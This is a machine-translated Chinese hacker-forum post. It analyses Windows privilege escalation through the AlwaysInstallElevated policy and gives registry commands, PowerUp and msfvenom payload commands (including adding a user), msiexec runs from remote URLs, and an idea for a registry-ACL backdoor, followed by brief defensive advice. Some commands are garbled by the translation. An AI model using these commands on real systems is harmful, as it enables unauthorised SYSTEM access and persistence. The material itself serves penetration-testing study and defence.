跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用AlwaysInstallElevated提升权限的测试与分析


尖REN

推荐的帖子

0x00 前言

使用AlwaysInstallElevated提升功率是2017年公开的技术,Metasploit和PowerUp都提供了利用方法。

在我的研究过程中,发现Metasploit的利用方法存在一些不足,我遇到了与其他公开文章中描述的不同的情况。

于是我做了进一步的研究,这篇文章将介绍我遇到的问题和解决方法。

0x01 简介

本文将介绍以下内容:

常规利用方法

我在测试中遇到的问题

解决办法

扩展思想

0x02 常规利用方法

AlwaysInstallElevated是一个组策略配置。如果启用,它将允许普通用户以系统权限运行安装文件(msi)。

启用方法:

需要修改以下两个组策略:

计算机配置\管理模板\Windows组件\Windows Installer

用户配置\管理模板\Windows组件\Windows Installer

设置为启用,如下图所示

2-1.png

注:

不能通过secedit.exe在命令行下修改上述两个组策略。

命令行下的启用方法:

创建以下两个注册表项:

HKCU \软件\策略\Microsoft\Windows\Installer,AlwaysInstallElevated,1

HKLM \软件\策略\Microsoft\Windows\Installer,AlwaysInstallElevated,1

cmd的命令如下:

REG add HKCU \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1

REG add HKLM \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1

利用方法:

AlwaysInstallElevated启用后,可以通过命令行调用msiexec来安装msi文件,该文件包含要执行的负载,负载将以系统权限执行。

调用msiexec的命令如下:

msiexec /q /i test.msi

/i参数用于指示安装操作。

/q参数用于隐藏安装界面。

注:

MSI的日志文件将在执行后在%TEMP%下生成。

有关msiexec的更多信息,请参考以前的文章《渗透测试中的msiexec》

0x03 开源方法测试

使用以下命令在测试环境中启用AlwaysInstallElevated:

REG add HKCU \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1

REG add HKLM \软件\策略\ Microsoft \ Windows \ Installer/v always install elevated/t REG _ DWORD/d 1

1.PowerUp

https://github . com/powershell mafia/PowerSploit/blob/master/Privesc/power up . PS1

(1)测试是否启用AlwaysInstallElevated

导入模块。\PowerUp.ps1

get-registralwaysinstallelevated

True表示开放。

(2)导出msi文件

导入模块。\PowerUp.ps1

Write-UserAddMSI

当前目录生成UserAdd.msi

(3)命令行执行(当前用户权限)

msiexec /q /i UserAdd.msi

弹出添加用户对话框,可用于添加用户,如下图所示

2-2.png

此时,查看该对话框的权限为系统,如下图所示

2-3.png

权力的成功提升

2.Metasploit

使用以下命令生成计算器的msi文件:

MSF venom-p windows/exec CMD=calc . exe-f MSI calc . MSI

执行命令行msi文件(当前用户权限):

msiexec /q /i calc.msi

弹出计算器的权限为中等,如下图所示

2-4.png

这与通电的结果不同

更改其他有效负载的msi文件,例如添加用户:

MSF venom-p windows/adduser USER=测试通过=12356QW!@ -f msi adduser.msi

例如,执行cmd命令:

MSF venom-p windows/x64/exec CMD=' whoami 1 . txt '-f MSI CMD . MSI

由于权限不足(中等),全部失败。

这和其他公开文章描述的情况不同。

个人猜测:

Metasploit生成的msi文件在运行时不需要提升权限,这导致了这个问题。

0x04 解决方法

这里可以参考PowerUp生成msi文件。

直接执行PowerUp生成的UserAdd.msi,如下图所示

3-1.png

msi文件由MSI包装程序生成。

让我们尝试使用MSI包装器生成一个可用的有效负载。

下载地址:

https://www.exemsi.com/download/

生成过程如下:

1.将Payload设置为执行ProcessHacker

配置如下所示

3-2.png

2.运行时要求提升权限

配置如下所示

3-3.png

注:

您可以在MSI安装上下文中选择每用户和每台计算机。

其他配置根据默认设置,生成的msi文件已经上传到github,地址如下:

https://github . com/3g student/test/blob/master/runprocesshacker . MSI

同样,命令行执行msi文件(当前用户权限):

msiexec/q/I runprocesshacker . MSI

ProcessHacker以系统权限执行并被成功利用,如下图所示

3-4.png

基于以上测试,我们可以得出结论:

Metasploit生成的msi文件在运行时不需要提升权限,因此不可能使用AlwaysInstallElevated来提升权限。

我们可以使用msi包装器来生成可用的MSI文件。

0x05 扩展利用思路

通常,首先判断注册表项。如果满足条件(有两个注册表项),可以使用AlwaysInstallElevated提升权限。

扩展思路1:

如果获得了备份服务用户的权限,则在输入whoami /priv后,会发现以下权限:

SeRestorePrivilege

SeTakeOwnershipPrivilege

此时可以写入注册表,创建相应的注册表项,然后使用AlwaysInstallElevated提升权限。

上一篇文章:《渗透技巧——Windows九种权限的利用》可以用SeRestorePrivilege和SeTakeOwnershipPrivilege写注册表。

扩展思路2:

如果获得了系统权限,可以创建一个提升权限的后门。

将ACL添加到以下注册表项,以允许每个人都可以写入:

HKCU \软件\策略\微软\ Windows \安装程序

HKLM \软件\策略\微软\ Windows \安装程序

关于在注册表项中添加ACL的方法,请参考之前的文章:《渗透技巧——Windows下的Access Control List》。

扩展思路3:

Msiexec支持远程下载和执行,那么我们可以使用Always in Stored来提升权限吗?

测试命令如下:

msiexec/q/I https://raw . githubusercontent . com/3g student/test/master/runprocesshacker . MSI

执行失败。

在下面找到原因,并展示安装过程。测试命令如下:

msiexec/I https://raw . githubusercontent . com/3g student/test/master/runprocesshacker . MSI

提示的来源不可信,如下图。

4-1.png

得出结论:

msi文件需要受信任的证书来远程使用AlwaysInstallElevated声明权限。

0x06 防御建议

如果没有特殊需求,请禁用AlwaysInstallElevated。

监控注册表项:

HKCU \软件\策略\微软\ Windows \安装程序

HKLM \软件\策略\微软\ Windows \安装程序

0x07 小结

介绍了使用AlwaysInstallElevated提升权重的方法,找出了使用Metasploit生成的msi文件失败的原因,最后介绍了如何通过msi Wrapper生成可用的MSI文件。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...